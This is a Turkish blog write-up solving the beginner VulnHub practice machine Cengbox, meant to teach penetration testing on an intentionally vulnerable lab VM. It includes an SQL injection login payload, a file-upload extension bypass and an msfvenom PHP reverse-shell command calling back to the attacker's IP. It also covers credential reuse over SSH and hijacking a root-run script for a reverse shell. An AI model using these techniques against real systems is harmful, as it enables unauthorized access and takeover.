Vulnhub'ta Bir Türk Makinesi - Cengbox
Bugün sizlerle Vulnhub'ta bulduğum bir Türk tarafından yayınlanan Cengbox makinesini çözeceğiz. Çözdüğüm makineler arasında oldukça iyi bir şekilde hazırlandığını, yeni başlayan arkadaşlar için öğretici bir niteliğe sahip olduğunu düşündüğüm bir makine oldu kendisi. Neyse lafı fazla uzatmadan hemen başlayalım.
Seviye: Başlangıç
İşletim Sistemi: Linux
Makine Linki: https://www.vulnhub.com/entry/cengbox-1,475/
Hazırlayan: https://twitter.com/arslanblcn_
Hedef Tespiti
Makineyi başlattığımız zaman bize herhangi bir ip bilgisi vermemektedir, bu yüzden kendimiz tespit etmemiz gerekmektedir. Bulunduğunuz ağı tarayarak makine tespiti yapabiliriz.
(Hedef IP 10.0.2.8)
Hedef IP Üzerinde Çalışan Servisleri Tespit Etme
22.Port: Openssh 7.2p2
80.Port: Apache 2.4.18
İşletim Sistemi: Linux-Ubuntu
Hedef makine üzerinde bir web servis çalıştığını tespit etmiş olduk. Şimdi gidip bir kontrol edelim neler var neler yok.
Anasayfamızda bizi böyle bir tanıtım sayfası karşıladı. Bundan sonra kaynak kod analizi, dizin tarama vs. yapılabilir. Biz dizin tarama ile devam edelim.
Web Servis Üzerinde Dizin Tarama
Parametreler
-c: Renkli sonuç gösterir
-z: Kullanılacak payload'ı belirler
file: Kullanılacak wordlist dosyasını tanımlar
--hc: İstediğimiz HTTP durum kodlarını göstermez. (Örneğin biz 404 dönen sayfaları bize sonuçlarda gösterme dedik)
FUZZ: Taranacak alanı belirtir.
Dizin taramasında masteradmin dikkatimizi çekmektedir. Bu dizine gidelim.
http://10.0.2.8/masteradmin/ dizinine gittiğimizde bu dizini görüntülemek için iznimiz olmadığını öğrendik. Bu gibi durumlarda dizini görüntüleyemeyebiliriz. Bunun nedeni konfigürasyon, veritabanı veya son kullanıcının görmemesi gereken dosyaların bu dizinde olması olabilir. Dizindeki dosyaları göremeyebiliriz fakat dizini tarayarak developer dostlarımızın engellemeyi unuttuğu veya izin verdiği dosyaları tespit edebiliriz.
Dizini taradık fakat yine elde tutulur bir sonuç yok. Bu sefer de biraz aklımızın o ücra köşelerinde körelmiş nöronlarımızı çalıştırıp "Bir dakika ya burada başka uzantıya sahip dosyalar olabilir" diyoruz. Bu gibi durumlarda web servislerinde çalışan dosyaları php,asp,js gibi dosya uzantılarını aratabilirsiniz. Ben ilk olarak php uzantılı dosyaları arayacağım. Bunu da wfuzz ile şu şekilde yapıyoruz.
FUZZ'ın yanına aramak istediğimiz uzantıyı ekliyoruz ve enter tuşuna basıyoruz. Gelen sonuçlar yukarıdaki gibidir. Hemen login.php sayfasına gidelim.
Sade bir giriş ekranı bizi karşılamaktadır. Bundan sonra SQL Injection, Brute Force, Kaynak Kod Analizi gibi yöntemler ile devam edilebilir. Ben SQL Injection ile devam ediyorum.
Username: admin
Password: 'or'1=1';#
Ve evet girişi başarıyla yaptık.
2.Yöntem
upload.php sayfasına istek attığımızda bizi aşağıdaki gibi bir cevap karşılamaktadır.
Görüldüğü gibi login.php üzerinden giriş yapmadan upload.php sayfasına erişemiyoruz. Bizi yeniden login.php sayfasına yönlendiriyor fakat bu olay sunucu tarafında değil de son kullanıcı ile trayaıcı arasında gerçekleştiği için biz ufak bir değişiklik ile login.php sayfasında giriş yapmadan upload.php sayfasına erişebileceğiz.
Burp ile araya girdikten sonra location.href="login.php" kodunu silip isteğimizi gönderiyoruz.
Ve evet oturum (Session) kontrolünü atladık.
Karşımızda bir dosya yükleme alanı bulunmakta. Büyük ihtimal File Upload açığından yararlanacağız. PHP dosyası yükleyerek Reverse Shell almaya çalışalım. Hemen msfvenom ile bir php shell oluşturalım.
"msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=1234 -f raw > rev.php"
Yükleyelim ve Burp ile arkada neler oluyor inceleyelim.
Görülen o ki sadece ".ceng" uzantısına izin veriliyor. Dosyamızın adını "rev.php.ceng" olarak yükleyip bu kontrolü atlatmayı deneyelim.
Evet başarılı bir şekilde kontrolü atladık. Dosyamızı yükledik fakat nereye?. Shell'imizi alabilmek için yüklediğimiz sayfaya istek atmamız gerekmektedir. Önceki taramalarımızdan hatırlarsanız "uploads/" adında bir dizin vardı. Dosyalarımızın oraya yüklenmiş olabilir. Onun öncesinde metasploit ile kendimizi dinlemeye alalım.
Şimdi "http://10.0.2.8/uploads/rev.php.ceng" adresine gidip php dosyamızı çalıştıralım.
Shell'imiz geldi.
Privilege Escalation#1 Aşaması
Yetki yükseltmemiz için bir makineye girdiğimizde hangi kullanıcıların olduğunu öğrenmek veya hassas dosyaların incelemesini yapmak işimize yarayabilir. "masteradmin/db.php" hedef makinemizdeki veritabanı bağlantısı hakkında hassas bilgiler içeriyor olabilir.
Evet görüldüğü gibi veritabanına girmek için gereken kullanıcı adı ve parolayı elde ettik. Mysql veritabanına girelim
İçerideki veritabanlarına bakalım.
cengbox veritabanını kullanalım. Ardından buradaki tabloları listeleyelim.
"use cengbox;"
"show tables;"
Ardından bilgileri çekelim
Elimizde artık 2 tane parola var. Birini db.php dosyasından diğerini ise Mysql veritabanından elde ettik.
1-) SuperS3cR3tPassw0rd1!
2-) C3ng0v3R00T1!
Elimizde bulunan parolaları başka yerde kullanmayı deneyebiliriz. Hatırlarsanız bir de ssh servisimiz çalışıyordu. "/etc/passwd" dosyasını okuyarak başka kullanıcılar hakkında bilgi edinebiliriz.
Evet cengover kullanıcısı için ssh ile oturum açmayı deneyelim.
"C3ng0v3R00T1!" parolası ile oturum açabildik.
Privilege Escalation#2-Root Olmak
Bilgisayarlar sürekli çalışan, bazı servisleri ayağa kaldıran, bazılarını ise öldüren, birisine mesaj gönderen, birisinden ise mesaj alan mekanik ve elektronik organizmalardır. Arka planda bildiğimiz veya bilmediğimiz birçok işlem dönmektedir. Gelin arkaplanda neler oluyor bakalım. Aşağıda belirttiğim tool ile bu işlemi gerçekleştirebiliriz.
İlk olarak
pspy64'ü çalıştığımız dizine alalım ve python ile SimpleHTTPServer modülümüzü çalıştıralım. SimpleHTTPServer olduğunuz dizini küçük bir web servise çevirir.
Ardından hedef makineye geçip wget ile pspy64'ü kendi makinemizden çekelim. Çalıştırma yetkisi verip çalıştıralım.
Biraz bekledikten sonra arkaplanda /opt/md5check.py dosyası User ID'si 0 olan bir kullanıcı yani root tarafından çalıştırılmaktadır. Dosyanın içeriğine baktığımızda bizi aşağıdaki gibi bir kod parçacığı karşılamaktadır.
Bu kod parçacığına yazma yetkimiz var. Haliyle aşağıdaki gibi yapacağımız küçük değişiklikler ile root yetkisi ile reverse shell alabileceğiz.
İlk olarak kodun tamamını yorum satırları içine aldım ardından os kütüphanesini dahil edelim. Os kütüphanesi sayesinde sistem içinde komut çalıştırabiliyoruz. Reverse shell almamı sağlayacak kodu yazdım, kaydettim ve makinemi dinlemeye aldım. Biraz bekledikten sonra shell'imiz aşağıdaki gibi geldi.
Yeni başlayanlar için oldukça güzel eğitici bir makine olduğuna inanıyorum. Hazırlayanın gerçekten eline sağlık. Umarım yazım sizin için öğretici bir içeriğe sahip olmuştur. Bir sonraki yazıda görüşmek üzere hoşçakalın güvenle kalın 😊😊
Yorumlar
Yorum Gönder